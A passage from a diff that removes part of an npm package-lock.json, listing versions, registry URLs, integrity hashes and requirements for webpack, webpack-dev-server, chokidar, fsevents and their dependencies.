-              "optional": true
-            },
-            "object-assign": {
-              "version": "4.1.1",
-              "bundled": true,
-              "optional": true
-            },
-            "once": {
-              "version": "1.4.0",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "wrappy": "1"
-              }
-            },
-            "os-homedir": {
-              "version": "1.0.2",
-              "bundled": true,
-              "optional": true
-            },
-            "os-tmpdir": {
-              "version": "1.0.2",
-              "bundled": true,
-              "optional": true
-            },
-            "osenv": {
-              "version": "0.1.5",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "os-homedir": "^1.0.0",
-                "os-tmpdir": "^1.0.0"
-              }
-            },
-            "path-is-absolute": {
-              "version": "1.0.1",
-              "bundled": true,
-              "optional": true
-            },
-            "process-nextick-args": {
-              "version": "2.0.1",
-              "bundled": true,
-              "optional": true
-            },
-            "rc": {
-              "version": "1.2.8",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "deep-extend": "^0.6.0",
-                "ini": "~1.3.0",
-                "minimist": "^1.2.0",
-                "strip-json-comments": "~2.0.1"
-              }
-            },
-            "readable-stream": {
-              "version": "2.3.7",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "core-util-is": "~1.0.0",
-                "inherits": "~2.0.3",
-                "isarray": "~1.0.0",
-                "process-nextick-args": "~2.0.0",
-                "safe-buffer": "~5.1.1",
-                "string_decoder": "~1.1.1",
-                "util-deprecate": "~1.0.1"
-              }
-            },
-            "rimraf": {
-              "version": "2.7.1",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "glob": "^7.1.3"
-              }
-            },
-            "safe-buffer": {
-              "version": "5.1.2",
-              "bundled": true,
-              "optional": true
-            },
-            "safer-buffer": {
-              "version": "2.1.2",
-              "bundled": true,
-              "optional": true
-            },
-            "sax": {
-              "version": "1.2.4",
-              "bundled": true,
-              "optional": true
-            },
-            "semver": {
-              "version": "5.7.1",
-              "bundled": true,
-              "optional": true
-            },
-            "set-blocking": {
-              "version": "2.0.0",
-              "bundled": true,
-              "optional": true
-            },
-            "signal-exit": {
-              "version": "3.0.2",
-              "bundled": true,
-              "optional": true
-            },
-            "string-width": {
-              "version": "1.0.2",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "code-point-at": "^1.0.0",
-                "is-fullwidth-code-point": "^1.0.0",
-                "strip-ansi": "^3.0.0"
-              }
-            },
-            "string_decoder": {
-              "version": "1.1.1",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "safe-buffer": "~5.1.0"
-              }
-            },
-            "strip-ansi": {
-              "version": "3.0.1",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "ansi-regex": "^2.0.0"
-              }
-            },
-            "strip-json-comments": {
-              "version": "2.0.1",
-              "bundled": true,
-              "optional": true
-            },
-            "tar": {
-              "version": "4.4.13",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "chownr": "^1.1.1",
-                "fs-minipass": "^1.2.5",
-                "minipass": "^2.8.6",
-                "minizlib": "^1.2.1",
-                "mkdirp": "^0.5.0",
-                "safe-buffer": "^5.1.2",
-                "yallist": "^3.0.3"
-              }
-            },
-            "util-deprecate": {
-              "version": "1.0.2",
-              "bundled": true,
-              "optional": true
-            },
-            "wide-align": {
-              "version": "1.1.3",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "string-width": "^1.0.2 || 2"
-              }
-            },
-            "wrappy": {
-              "version": "1.0.2",
-              "bundled": true,
-              "optional": true
-            },
-            "yallist": {
-              "version": "3.1.1",
-              "bundled": true,
-              "optional": true
-            }
-          }
-        },
-        "glob-parent": {
-          "version": "3.1.0",
-          "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-3.1.0.tgz",
-          "integrity": "sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=",
-          "requires": {
-            "is-glob": "^3.1.0",
-            "path-dirname": "^1.0.0"
-          },
-          "dependencies": {
-            "is-glob": {
-              "version": "3.1.0",
-              "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-3.1.0.tgz",
-              "integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=",
-              "requires": {
-                "is-extglob": "^2.1.0"
-              }
-            }
-          }
-        },
-        "is-binary-path": {
-          "version": "1.0.1",
-          "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-1.0.1.tgz",
-          "integrity": "sha1-dfFmQrSA8YenEcgUFh/TpKdlWJg=",
-          "requires": {
-            "binary-extensions": "^1.0.0"
-          }
-        },
-        "normalize-path": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",
-          "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA=="
-        },
-        "readable-stream": {
-          "version": "2.3.7",
-          "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
-          "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
-          "requires": {
-            "core-util-is": "~1.0.0",
-            "inherits": "~2.0.3",
-            "isarray": "~1.0.0",
-            "process-nextick-args": "~2.0.0",
-            "safe-buffer": "~5.1.1",
-            "string_decoder": "~1.1.1",
-            "util-deprecate": "~1.0.1"
-          }
-        },
-        "readdirp": {
-          "version": "2.2.1",
-          "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-2.2.1.tgz",
-          "integrity": "sha512-1JU/8q+VgFZyxwrJ+SVIOsh+KywWGpds3NTqikiKpDMZWScmAYyKIgqkO+ARvNWJfXeXR1zxz7aHF4u4CyH6vQ==",
-          "requires": {
-            "graceful-fs": "^4.1.11",
-            "micromatch": "^3.1.10",
-            "readable-stream": "^2.0.2"
-          }
-        },
-        "string_decoder": {
-          "version": "1.1.1",
-          "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
-          "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
-          "requires": {
-            "safe-buffer": "~5.1.0"
-          }
-        }
-      }
-    },
-    "wbuf": {
-      "version": "1.7.3",
-      "resolved": "https://registry.npmjs.org/wbuf/-/wbuf-1.7.3.tgz",
-      "integrity": "sha512-O84QOnr0icsbFGLS0O3bI5FswxzRr8/gHwWkDlQFskhSPryQXvrTMxjxGP4+iWYoauLoBvfDpkrOauZ+0iZpDA==",
-      "requires": {
-        "minimalistic-assert": "^1.0.0"
-      }
-    },
-    "webidl-conversions": {
-      "version": "4.0.2",
-      "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-4.0.2.tgz",
-      "integrity": "sha512-YQ+BmxuTgd6UXZW3+ICGfyqRyHXVlD5GtQr5+qjiNW7bF0cqrzX500HVXPBOvgXb5YnzDd+h0zqyv61KUD7+Sg=="
-    },
-    "webpack": {
-      "version": "4.42.0",
-      "resolved": "https://registry.npmjs.org/webpack/-/webpack-4.42.0.tgz",
-      "integrity": "sha512-EzJRHvwQyBiYrYqhyjW9AqM90dE4+s1/XtCfn7uWg6cS72zH+2VPFAlsnW0+W0cDi0XRjNKUMoJtpSi50+Ph6w==",
-      "requires": {
-        "@webassemblyjs/ast": "1.8.5",
-        "@webassemblyjs/helper-module-context": "1.8.5",
-        "@webassemblyjs/wasm-edit": "1.8.5",
-        "@webassemblyjs/wasm-parser": "1.8.5",
-        "acorn": "^6.2.1",
-        "ajv": "^6.10.2",
-        "ajv-keywords": "^3.4.1",
-        "chrome-trace-event": "^1.0.2",
-        "enhanced-resolve": "^4.1.0",
-        "eslint-scope": "^4.0.3",
-        "json-parse-better-errors": "^1.0.2",
-        "loader-runner": "^2.4.0",
-        "loader-utils": "^1.2.3",
-        "memory-fs": "^0.4.1",
-        "micromatch": "^3.1.10",
-        "mkdirp": "^0.5.1",
-        "neo-async": "^2.6.1",
-        "node-libs-browser": "^2.2.1",
-        "schema-utils": "^1.0.0",
-        "tapable": "^1.1.3",
-        "terser-webpack-plugin": "^1.4.3",
-        "watchpack": "^1.6.0",
-        "webpack-sources": "^1.4.1"
-      },
-      "dependencies": {
-        "acorn": {
-          "version": "6.4.1",
-          "resolved": "https://registry.npmjs.org/acorn/-/acorn-6.4.1.tgz",
-          "integrity": "sha512-ZVA9k326Nwrj3Cj9jlh3wGFutC2ZornPNARZwsNYqQYgN0EsV2d53w5RN/co65Ohn4sUAUtb1rSUAOD6XN9idA=="
-        },
-        "cacache": {
-          "version": "12.0.4",
-          "resolved": "https://registry.npmjs.org/cacache/-/cacache-12.0.4.tgz",
-          "integrity": "sha512-a0tMB40oefvuInr4Cwb3GerbL9xTj1D5yg0T5xrjGCGyfvbxseIXX7BAO/u/hIXdafzOI5JC3wDwHyf24buOAQ==",
-          "requires": {
-            "bluebird": "^3.5.5",
-            "chownr": "^1.1.1",
-            "figgy-pudding": "^3.5.1",
-            "glob": "^7.1.4",
-            "graceful-fs": "^4.1.15",
-            "infer-owner": "^1.0.3",
-            "lru-cache": "^5.1.1",
-            "mississippi": "^3.0.0",
-            "mkdirp": "^0.5.1",
-            "move-concurrently": "^1.0.1",
-            "promise-inflight": "^1.0.1",
-            "rimraf": "^2.6.3",
-            "ssri": "^6.0.1",
-            "unique-filename": "^1.1.1",
-            "y18n": "^4.0.0"
-          }
-        },
-        "eslint-scope": {
-          "version": "4.0.3",
-          "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-4.0.3.tgz",
-          "integrity": "sha512-p7VutNr1O/QrxysMo3E45FjYDTeXBy0iTltPFNSqKAIfjDSXC+4dj+qfyuD8bfAXrW/y6lW3O76VaYNPKfpKrg==",
-          "requires": {
-            "esrecurse": "^4.1.0",
-            "estraverse": "^4.1.1"
-          }
-        },
-        "schema-utils": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-1.0.0.tgz",
-          "integrity": "sha512-i27Mic4KovM/lnGsy8whRCHhc7VicJajAjTrYg11K9zfZXnYIt4k5F+kZkwjnrhKzLic/HLU4j11mjsz2G/75g==",
-          "requires": {
-            "ajv": "^6.1.0",
-            "ajv-errors": "^1.0.0",
-            "ajv-keywords": "^3.1.0"
-          }
-        },
-        "ssri": {
-          "version": "6.0.1",
-          "resolved": "https://registry.npmjs.org/ssri/-/ssri-6.0.1.tgz",
-          "integrity": "sha512-3Wge10hNcT1Kur4PDFwEieXSCMCJs/7WvSACcrMYrNp+b8kDL1/0wJch5Ni2WrtwEa2IO8OsVfeKIciKCDx/QA==",
-          "requires": {
-            "figgy-pudding": "^3.5.1"
-          }
-        },
-        "terser-webpack-plugin": {
-          "version": "1.4.3",
-          "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-1.4.3.tgz",
-          "integrity": "sha512-QMxecFz/gHQwteWwSo5nTc6UaICqN1bMedC5sMtUc7y3Ha3Q8y6ZO0iCR8pq4RJC8Hjf0FEPEHZqcMB/+DFCrA==",
-          "requires": {
-            "cacache": "^12.0.2",
-            "find-cache-dir": "^2.1.0",
-            "is-wsl": "^1.1.0",
-            "schema-utils": "^1.0.0",
-            "serialize-javascript": "^2.1.2",
-            "source-map": "^0.6.1",
-            "terser": "^4.1.2",
-            "webpack-sources": "^1.4.0",
-            "worker-farm": "^1.7.0"
-          }
-        }
-      }
-    },
-    "webpack-dev-middleware": {
-      "version": "3.7.2",
-      "resolved": "https://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-3.7.2.tgz",
-      "integrity": "sha512-1xC42LxbYoqLNAhV6YzTYacicgMZQTqRd27Sim9wn5hJrX3I5nxYy1SxSd4+gjUFsz1dQFj+yEe6zEVmSkeJjw==",
-      "requires": {
-        "memory-fs": "^0.4.1",
-        "mime": "^2.4.4",
-        "mkdirp": "^0.5.1",
-        "range-parser": "^1.2.1",
-        "webpack-log": "^2.0.0"
-      }
-    },
-    "webpack-dev-server": {
-      "version": "3.10.3",
-      "resolved": "https://registry.npmjs.org/webpack-dev-server/-/webpack-dev-server-3.10.3.tgz",
-      "integrity": "sha512-e4nWev8YzEVNdOMcNzNeCN947sWJNd43E5XvsJzbAL08kGc2frm1tQ32hTJslRS+H65LCb/AaUCYU7fjHCpDeQ==",
-      "requires": {
-        "ansi-html": "0.0.7",
-        "bonjour": "^3.5.0",
-        "chokidar": "^2.1.8",
-        "compression": "^1.7.4",
-        "connect-history-api-fallback": "^1.6.0",
-        "debug": "^4.1.1",
-        "del": "^4.1.1",
-        "express": "^4.17.1",
-        "html-entities": "^1.2.1",
-        "http-proxy-middleware": "0.19.1",
-        "import-local": "^2.0.0",
-        "internal-ip": "^4.3.0",
-        "ip": "^1.1.5",
-        "is-absolute-url": "^3.0.3",
-        "killable": "^1.0.1",
-        "loglevel": "^1.6.6",
-        "opn": "^5.5.0",
-        "p-retry": "^3.0.1",
-        "portfinder": "^1.0.25",
-        "schema-utils": "^1.0.0",
-        "selfsigned": "^1.10.7",
-        "semver": "^6.3.0",
-        "serve-index": "^1.9.1",
-        "sockjs": "0.3.19",
-        "sockjs-client": "1.4.0",
-        "spdy": "^4.0.1",
-        "strip-ansi": "^3.0.1",
-        "supports-color": "^6.1.0",
-        "url": "^0.11.0",
-        "webpack-dev-middleware": "^3.7.2",
-        "webpack-log": "^2.0.0",
-        "ws": "^6.2.1",
-        "yargs": "12.0.5"
-      },
-      "dependencies": {
-        "ansi-regex": {
-          "version": "2.1.1",
-          "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz",
-          "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8="
-        },
-        "binary-extensions": {
-          "version": "1.13.1",
-          "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-1.13.1.tgz",
-          "integrity": "sha512-Un7MIEDdUC5gNpcGDV97op1Ywk748MpHcFTHoYs6qnj1Z3j7I53VG3nwZhKzoBZmbdRNnb6WRdFlwl7tSDuZGw=="
-        },
-        "chokidar": {
-          "version": "2.1.8",
-          "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-2.1.8.tgz",
-          "integrity": "sha512-ZmZUazfOzf0Nve7duiCKD23PFSCs4JPoYyccjUFF3aQkQadqBhfzhjkwBH2mNOG9cTBwhamM37EIsIkZw3nRgg==",
-          "requires": {
-            "anymatch": "^2.0.0",
-            "async-each": "^1.0.1",
-            "braces": "^2.3.2",
-            "fsevents": "^1.2.7",
-            "glob-parent": "^3.1.0",
-            "inherits": "^2.0.3",
-            "is-binary-path": "^1.0.0",
-            "is-glob": "^4.0.0",
-            "normalize-path": "^3.0.0",
-            "path-is-absolute": "^1.0.0",
-            "readdirp": "^2.2.1",
-            "upath": "^1.1.1"
-          }
-        },
-        "cliui": {
-          "version": "4.1.0",
-          "resolved": "https://registry.npmjs.org/cliui/-/cliui-4.1.0.tgz",
-          "integrity": "sha512-4FG+RSG9DL7uEwRUZXZn3SS34DiDPfzP0VOiEwtUWlE+AR2EIg+hSyvrIgUUfhdgR/UkAeW2QHgeP+hWrXs7jQ==",
-          "requires": {
-            "string-width": "^2.1.1",
-            "strip-ansi": "^4.0.0",
-            "wrap-ansi": "^2.0.0"
-          },
-          "dependencies": {
-            "ansi-regex": {
-              "version": "3.0.0",
-              "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz",
-              "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg="
-            },
-            "strip-ansi": {
-              "version": "4.0.0",
-              "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz",
-              "integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=",
-              "requires": {
-                "ansi-regex": "^3.0.0"
-              }
-            }
-          }
-        },
-        "find-up": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz",
-          "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==",
-          "requires": {
-            "locate-path": "^3.0.0"
-          }
-        },
-        "fsevents": {
-          "version": "1.2.12",
-          "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-1.2.12.tgz",
-          "integrity": "sha512-Ggd/Ktt7E7I8pxZRbGIs7vwqAPscSESMrCSkx2FtWeqmheJgCo2R74fTsZFCifr0VTPwqRpPv17+6b8Zp7th0Q==",
-          "optional": true,
-          "requires": {
-            "bindings": "^1.5.0",
-            "nan": "^2.12.1",
-            "node-pre-gyp": "*"
-          },
-          "dependencies": {
-            "abbrev": {
-              "version": "1.1.1",
-              "bundled": true,
-              "optional": true
-            },
-            "ansi-regex": {
-              "version": "2.1.1",
-              "bundled": true,
-              "optional": true
-            },
-            "aproba": {
-              "version": "1.2.0",
-              "bundled": true,
-              "optional": true
-            },
-            "are-we-there-yet": {
-              "version": "1.1.5",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "delegates": "^1.0.0",
-                "readable-stream": "^2.0.6"
-              }
-            },
-            "balanced-match": {
-              "version": "1.0.0",
-              "bundled": true,
-              "optional": true
-            },
-            "brace-expansion": {
-              "version": "1.1.11",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "balanced-match": "^1.0.0",
-                "concat-map": "0.0.1"
-              }
-            },
-            "chownr": {
-              "version": "1.1.4",
-              "bundled": true,
-              "optional": true
-            },
-            "code-point-at": {
-              "version": "1.1.0",
-              "bundled": true,
-              "optional": true
-            },
-            "concat-map": {
-              "version": "0.0.1",
-              "bundled": true,
-              "optional": true
-            },
-            "console-control-strings": {
-              "version": "1.1.0",
-              "bundled": true,
-              "optional": true
-            },
-            "core-util-is": {
-              "version": "1.0.2",
-              "bundled": true,
-              "optional": true
-            },
-            "debug": {
-              "version": "3.2.6",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "ms": "^2.1.1"
-              }
-            },
-            "deep-extend": {
-              "version": "0.6.0",
-              "bundled": true,
-              "optional": true
-            },
-            "delegates": {
-              "version": "1.0.0",
-              "bundled": true,
-              "optional": true
-            },
-            "detect-libc": {
-              "version": "1.0.3",
-              "bundled": true,
-              "optional": true
-            },
-            "fs-minipass": {
-              "version": "1.2.7",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "minipass": "^2.6.0"
-              }
-            },
-            "fs.realpath": {
-              "version": "1.0.0",
-              "bundled": true,
-              "optional": true
-            },
-            "gauge": {
-              "version": "2.7.4",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "aproba": "^1.0.3",
-                "console-control-strings": "^1.0.0",
-                "has-unicode": "^2.0.0",
-                "object-assign": "^4.1.0",
-                "signal-exit": "^3.0.0",
-                "string-width": "^1.0.1",
-                "strip-ansi": "^3.0.1",
-                "wide-align": "^1.1.0"
-              }
-            },
-            "glob": {
-              "version": "7.1.6",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "fs.realpath": "^1.0.0",
-                "inflight": "^1.0.4",
-                "inherits": "2",
-                "minimatch": "^3.0.4",
-                "once": "^1.3.0",
-                "path-is-absolute": "^1.0.0"
-              }
-            },
-            "has-unicode": {
-              "version": "2.0.1",
-              "bundled": true,
-              "optional": true
-            },
-            "iconv-lite": {
-              "version": "0.4.24",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "safer-buffer": ">= 2.1.2 < 3"
-              }
-            },
-            "ignore-walk": {
-              "version": "3.0.3",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "minimatch": "^3.0.4"
-              }
-            },
-            "inflight": {
-              "version": "1.0.6",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "once": "^1.3.0",
-                "wrappy": "1"
-              }
-            },
-            "inherits": {
-              "version": "2.0.4",
-              "bundled": true,
-              "optional": true
-            },
-            "ini": {
-              "version": "1.3.5",
-              "bundled": true,
-              "optional": true
-            },
-            "is-fullwidth-code-point": {
-              "version": "1.0.0",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "number-is-nan": "^1.0.0"
-              }
-            },
-            "isarray": {
-              "version": "1.0.0",
-              "bundled": true,
-              "optional": true
-            },
-            "minimatch": {
-              "version": "3.0.4",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "brace-expansion": "^1.1.7"
-              }
-            },
-            "minimist": {
-              "version": "1.2.5",
-              "bundled": true,
-              "optional": true
-            },
-            "minipass": {
-              "version": "2.9.0",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "safe-buffer": "^5.1.2",
-                "yallist": "^3.0.0"
-              }
-            },
-            "minizlib": {
-              "version": "1.3.3",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "minipass": "^2.9.0"
-              }
-            },
-            "mkdirp": {
-              "version": "0.5.3",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "minimist": "^1.2.5"
-              }
-            },
-            "ms": {
-              "version": "2.1.2",
-              "bundled": true,
-              "optional": true
-            },
-            "needle": {
-              "version": "2.3.3",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "debug": "^3.2.6",
-                "iconv-lite": "^0.4.4",
-                "sax": "^1.2.4"
-              }
-            },
-            "node-pre-gyp": {
-              "version": "0.14.0",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "detect-libc": "^1.0.2",
-                "mkdirp": "^0.5.1",
-                "needle": "^2.2.1",
-                "nopt": "^4.0.1",
-                "npm-packlist": "^1.1.6",
-                "npmlog": "^4.0.2",
-                "rc": "^1.2.7",
-                "rimraf": "^2.6.1",
-                "semver": "^5.3.0",
-                "tar": "^4.4.2"
-              }
-            },
-            "nopt": {
-              "version": "4.0.3",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "abbrev": "1",
-                "osenv": "^0.1.4"
-              }
-            },
-            "npm-bundled": {
-              "version": "1.1.1",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "npm-normalize-package-bin": "^1.0.1"
-              }
-            },
-            "npm-normalize-package-bin": {
-              "version": "1.0.1",
-              "bundled": true,
-              "optional": true
-            },
-            "npm-packlist": {
-              "version": "1.4.8",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "ignore-walk": "^3.0.1",
-                "npm-bundled": "^1.0.1",
-                "npm-normalize-package-bin": "^1.0.1"
-              }
-            },
-            "npmlog": {
-              "version": "4.1.2",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "are-we-there-yet": "~1.1.2",
-                "console-control-strings": "~1.1.0",
-                "gauge": "~2.7.3",
-                "set-blocking": "~2.0.0"
-              }
-            },
-            "number-is-nan": {
-              "version": "1.0.1",
-              "bundled": true,
-              "optional": true
-            },
-            "object-assign": {
-              "version": "4.1.1",
-              "bundled": true,
-              "optional": true
-            },
-            "once": {
-              "version": "1.4.0",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "wrappy": "1"
-              }
-            },
-            "os-homedir": {
-              "version": "1.0.2",
-              "bundled": true,
-              "optional": true
-            },
-            "os-tmpdir": {
-              "version": "1.0.2",
-              "bundled": true,
-              "optional": true
-            },
-            "osenv": {
-              "version": "0.1.5",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "os-homedir": "^1.0.0",
-                "os-tmpdir": "^1.0.0"
-              }
-            },
-            "path-is-absolute": {
-              "version": "1.0.1",
-              "bundled": true,
-              "optional": true
-            },
-            "process-nextick-args": {
-              "version": "2.0.1",
-              "bundled": true,
-              "optional": true
-            },
-            "rc": {
-              "version": "1.2.8",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "deep-extend": "^0.6.0",
-                "ini": "~1.3.0",
-                "minimist": "^1.2.0",
-                "strip-json-comments": "~2.0.1"
-              }
-            },
-            "readable-stream": {
-              "version": "2.3.7",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "core-util-is": "~1.0.0",
-                "inherits": "~2.0.3",
-                "isarray": "~1.0.0",
-                "process-nextick-args": "~2.0.0",
-                "safe-buffer": "~5.1.1",
-                "string_decoder": "~1.1.1",
-                "util-deprecate": "~1.0.1"
-              }
-            },
-            "rimraf": {
-              "version": "2.7.1",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "glob": "^7.1.3"
-              }
-            },
-            "safe-buffer": {
-              "version": "5.1.2",
-              "bundled": true,
-              "optional": true
-            },
-            "safer-buffer": {
-              "version": "2.1.2",
-              "bundled": true,
-              "optional": true
-            },
-            "sax": {
-              "version": "1.2.4",
-              "bundled": true,
-              "optional": true
-            },
-            "semver": {
-              "version": "5.7.1",
-              "bundled": true,
-              "optional": true
-            },
-            "set-blocking": {
-              "version": "2.0.0",
-              "bundled": true,
-              "optional": true
-            },
-            "signal-exit": {
-              "version": "3.0.2",
-              "bundled": true,
-              "optional": true
-            },
-            "string-width": {
-              "version": "1.0.2",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "code-point-at": "^1.0.0",
-                "is-fullwidth-code-point": "^1.0.0",
-                "strip-ansi": "^3.0.0"
-              }
-            },
-            "string_decoder": {
-              "version": "1.1.1",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "safe-buffer": "~5.1.0"
-              }
-            },
-            "strip-ansi": {
-              "version": "3.0.1",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "ansi-regex": "^2.0.0"
-              }
-            },
-            "strip-json-comments": {
-              "version": "2.0.1",
-              "bundled": true,
-              "optional": true
-            },
-            "tar": {
-              "version": "4.4.13",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "chownr": "^1.1.1",
-                "fs-minipass": "^1.2.5",
-                "minipass": "^2.8.6",
-                "minizlib": "^1.2.1",
-                "mkdirp": "^0.5.0",
-                "safe-buffer": "^5.1.2",
-                "yallist": "^3.0.3"
-              }
-            },
-            "util-deprecate": {
-              "version": "1.0.2",
-              "bundled": true,
-              "optional": true
-            },
-            "wide-align": {
-              "version": "1.1.3",
-              "bundled": true,
-              "optional": true,
-              "requires": {
-                "string-width": "^1.0.2 || 2"
-              }
-            },
-            "wrappy": {
-              "version": "1.0.2",
-              "bundled": true,
-              "optional": true
-            },
-            "yallist": {
-              "version": "3.1.1",
-              "bundled": true,
-              "optional": true
-            }
-          }
-        },
-        "get-caller-file": {
-          "version": "1.0.3",
-          "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-1.0.3.tgz",
-          "integrity": "sha512-3t6rVToeoZfYSGd8YoLFR2DJkiQrIiUrGcjvFX2mDw3bn6k2OtwHN0TNCLbBO+w8qTvimhDkv+LSscbJY1vE6w=="
-        },
-        "glob-parent": {
-          "version": "3.1.0",
-          "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-3.1.0.tgz",
-          "integrity": "sha1-nmr2KZ2NO9K9QEMIMr0RPfkGxa4=",
-          "requires": {
-            "is-glob": "^3.1.0",
-            "path-dirname": "^1.0.0"
-          },
-          "dependencies": {
-            "is-glob": {
-              "version": "3.1.0",
-              "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-3.1.0.tgz",
-              "integrity": "sha1-e6WuJCF4BKxwcHuWkiVnSGzD6Eo=",
-              "requires": {
-                "is-extglob": "^2.1.0"
-              }
-            }
-          }
-        },
-        "is-absolute-url": {
-          "version": "3.0.3",
-          "resolved": "https://registry.npmjs.org/is-absolute-url/-/is-absolute-url-3.0.3.tgz",
-          "integrity": "sha512-opmNIX7uFnS96NtPmhWQgQx6/NYFgsUXYMllcfzwWKUMwfo8kku1TvE6hkNcH+Q1ts5cMVrsY7j0bxXQDciu9Q=="
-        },
-        "is-binary-path": {
-          "version": "1.0.1",
-          "resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-1.0.1.tgz",
-          "integrity": "sha1-dfFmQrSA8YenEcgUFh/TpKdlWJg=",
-          "requires": {
-            "binary-extensions": "^1.0.0"
-          }
-        },
-        "is-fullwidth-code-point": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz",
-          "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8="
-        },
-        "locate-path": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz",
-          "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==",
-          "requires": {
-            "p-locate": "^3.0.0",
-            "path-exists": "^3.0.0"
-          }
-        },
-        "normalize-path": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",
-          "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA=="
-        },
-        "p-limit": {
-          "version": "2.3.0",
-          "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
-          "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
-          "requires": {
-            "p-try": "^2.0.0"
-          }
-        },
-        "p-locate": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz",
-          "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==",
-          "requires": {
-            "p-limit": "^2.0.0"
-          }
-        },
